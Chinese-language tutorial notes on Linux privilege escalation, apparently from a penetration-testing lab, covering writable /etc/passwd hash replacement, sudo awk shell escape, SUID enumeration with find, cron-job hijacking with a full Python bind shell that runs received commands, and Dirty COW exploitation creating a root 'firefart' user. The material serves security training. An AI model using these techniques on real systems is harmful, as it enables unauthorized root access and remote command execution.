linux提权
一、linux提权助手linux-exploit-suggester
二、linux提权脚本linux-kernel-exploits
https://github.com/SecWiki/linux-kernel-exploits
三、明文root密码权限
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。
passwd里面储存了用户,shadow里面是密码的hash。
出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的
如果/etc/passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。
复现步骤:
1. 先创建一个test123456用户
2. 给test123456用户添加密码123456
3. 查看/etc/shadow里面的test123456用户的密码
$6$wnEowOHB6oGlo/N7$Vp/9y/KP6ejUQCAFn3.dWqXv6CtG52oBt4MTFD8/RkngmFrsS.Ad2ESxOcWwlpTEXUVO1zNBj4BeFLQgTZIRr/
4. 修改/etc/passwd的权限,使其它用户可以写入
5. 用kali修改/etc/passwd,将x修改为$6$wnEowOHB6oGlo/N7$Vp/9y/KP6ejUQCAFn3.dWqXv6CtG52oBt4MTFD8/RkngmFrsS.Ad2ESxOcWwlpTEXUVO1zNBj4BeFLQgTZIRr/
6. 重新登录,用户root,密码123456,登录成功
四、密码复用
形如config.php,config.inc等等文件中含有的密码很有可能就是root密码
如数据库、后台web密码,可能就是root密码
五、Sudo 滥用
sudo 是用来提权的命令,当执行权限不够时,可以使用sudo命令来提升权限.其配置文件是/etc/sudoers
Sudo –l这个命令可以查看有当前用户有哪些命令可以以特定的权限(root)执行,只需要验证自身权限的密码即可
awk 可以分割数据 筛选想要的内容
sudo awk 'BEGIN {system("/bin/sh")}'
六、linux命令提权的网站(find提权)
https://gtfobins.github.io/
以find命令举例
七、计划任务(/etc/crontab)
linux系统中有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
修改/etc/crontab才能生效,直接crontab –e 没生效
知道了基本的使用,那么我们可以使用一些python脚本,来实现越权
1.py
file_name = './2022_12_01.txt'
f_write = open(file_name, 'w+')
f_write.write("helloworld")
f_write.close()
利用python脚本写入文件
普通的python代码可以执行,那么我们直接将1.py替换为可以越权的python代码即可
越权的python代码
import socket
import os
#AF_INET 代表ipv4 SOCK_STREAM==>tcp
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 12345))
s.listen(5)
while True:
conn, addr = s.accept()
for i in range(10):
cmd = conn.recv(1024)
print(cmd)
command = cmd.decode(encoding='utf-8')
if command.startswith("cd"):
os.chdir(command[2:].strip())
result = os.getcwd()
else:
result = os.popen(command).read()
if result:
conn.send(result.encode('utf-8'))
else:
conn.send(b'ok')
socket 套接字
socket.AF_INET ipv4协议
socket.SOCK_STREAM 使用tcp协议
s.bind(('0.0.0.0', 12345))
监听自身任意网络接口上的12345端口
s.listen(5)
最多支持同时5个client端连接
下面图片是调试代码的步骤和替换1.py后实现越权的步骤,主要在分析代码
八、suid提权
suid 文件属性 拥有该属性的文件被执行时会自动以该文件所有者的权限执行
如果文件的所有者为root,那么就默认以root用户执行文件
查找suid属性的文件命令,下面三个任选其一
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find命令和bash命令都可以用suid提权
上面用find举例了,这里以bash命令举例
直接在网站上复制命令即可
九、脏牛提权
1. 原理
原理是,linux内核的子系统在处理写入时复制时产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。
主要是对/etc/passwd这个文件的修改
为什么叫脏牛提权?
脏牛的英文 是 dirty cow
cow ===> copy on write 写入时复制
实现低权限用户 /etc/passwd 文件的修改
2. 利用
主要是利用在Linux内核 >= 2.6.22 并且 < 3.9版本的系统
这里我使用的环境为redhat系统,可以看到版本是合适的
在/etc/passwd文件里面,找到个xiao用户可以登录的,这是一个普通用户
先修改一下这个普通用户的密码,让我们能以普通用户的身份登录
密码我改成了bihuo.cn
成功以xiao这个普通用户的身份登录,并且可以看到/etc/passwd文件只允许xiao用户读取
然后将我们准备好的脚本文件dirty.c上传上去
然后使用gcc编译这个文件
gcc -pthread dirty.c -o dirty -lcrypt
编译好之后,可以看到生成个程序
此时先查看一下/etc/passwd,做一下对比
然后利用这个dirty程序,输入dirty加上密码就行
看起来执行后,会向下面这样卡住
当我们另外打开一个终端,查看/etc/passwd文件
明显看到多了个firefart用户密码就是我们给的bihuo.cn
然后使用firefart用户登录,可以看到这个用户属于root组,并且可以查看/etc/shadow文件,拥有了root用户的权限,那么我们就可以随意修改root用户的密码,使用root账户进行登录,至此提权成功